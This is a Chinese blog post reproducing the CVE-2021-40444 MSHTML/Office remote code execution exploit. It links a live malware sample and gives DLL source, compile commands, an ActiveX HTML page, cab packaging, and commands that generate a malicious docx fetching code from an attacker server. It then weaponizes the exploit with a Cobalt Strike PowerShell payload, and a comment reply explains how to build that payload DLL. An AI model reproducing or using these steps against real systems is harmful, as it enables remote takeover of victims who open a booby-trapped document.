CVE-2021-40444 复现+利用
本文最后更新于 41 天前,其中的信息可能已经有所发展或是发生改变。

这个CVE在野很早就出了,只是没有放出POC的细节。今天下午发现昨天已经在Github上放了POC,本脚本小子赶紧来实操一波。

CVE-2021-40444

时间线

参考virustotal上的情报,最早一次提交是在9月1日,9月7日微软发布了0day公告,接着各威胁情报中心都发布文章响应,并给出修复方法,最后在近期漏洞细节得到了公开。截止9月13日,包括卡巴斯基在内的多家杀软已经支持检测。

漏洞成因

微软MSHTML引擎存在代码执行漏洞,攻击者通过精心制作包含恶意ActiveX的Offcie文档,诱导用户打开,从而实现远程代码执行。当用户主机启用了ActiveX控件,攻击者可通过该漏洞控制受害者主机。

由于是基于微软MSHTML以及Office,利用面还是相当广的。

漏洞复现

样本分析

可以在malwarebazaar下载样本

https://bazaar.abuse.ch/download/938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52/

解压word,找到样本的word\_rels\document.xml.rels

在沙箱打开文档后,发现文档会发起对该恶意网站的恶意请求。

但是该恶意站点已关闭,所以无法获得HTML的样本。于是利用开源项目lockedbyte/CVE-2021-40444进行分析复现。

流程分析

用万能的calc构造calc.c

#include <windows.h>

void exec(void) {
system("C:\\Windows\\System32\\calc.exe");
return;
}

BOOL WINAPI DllMain(
   HINSTANCE hinstDLL,
   DWORD fdwReason,
   LPVOID lpReserved )
{
   switch( fdwReason )
  {
       case DLL_PROCESS_ATTACH:
          exec();
          break;

       case DLL_THREAD_ATTACH:
           break;

       case DLL_THREAD_DETACH:
           break;

       case DLL_PROCESS_DETACH:
           break;
  }
   return TRUE;
}

编译calc.c 到 calc.dll

$ sudo apt-get install gcc-mingw-w64
$ i686-w64-mingw32-gcc -shared calc.c -o calc.dll

将生成的calc.dll包装成calc.cab,然后同Html一起放在web目录下

<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Outlook</title>
<script id=clientEventHandlersVBS language=vbscript>

<!--
 Sub window_onload()
     Set cmd = CreateObject("Wscript.Shell")
     cmd.Run("calc")
 End Sub
-->
</script>
</head>
<body>
<h1>CVE-2021-40444</h1>
 <object classid="clsid:edbc374c-5730-432a-b5b8-de94f0b57217" id="ViewCtl1" data="" width="100%" height="100%"></object>
</body>
</html>
cp calc.dll championship.inf ; mkdir gen/ ; cd gen/ ; lcab '../championship.inf' exploit.cab

或者直接利用该开源项目,使用calc.dll文件直接生成docx。

python3 exploit.py generate test/calc.dll http://<SRV IP>

然后运行WEB服务监听

sudo python3 exploit.py host 80

运行document.docx,可以发现触发了calc。

结合cs payload

利用cs生成powershell payload

将生成的payload替换原先的exp,生成cs.dll文件并利用

点击word文件,受害人就上线了。

评论

  1. xying
    2月前
    2021-9-15 18:16:20

    生成powershell马是txt的文件,该怎么生成cs.dll?

    • oatmeal 博主
      已编辑
      2月前
      2021-9-15 23:14:49

      替换掉脚本的system(“C:\Windows\System32\calc.exe”);,然后编译即可
      i686-w64-mingw32-gcc -shared cs.c -o cs.dll

  2. wangm
    2月前
    2021-9-15 23:05:36

    太强啦!天哥

    • oatmeal 博主
      2月前
      2021-9-15 23:15:40

      别骂了别骂了

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇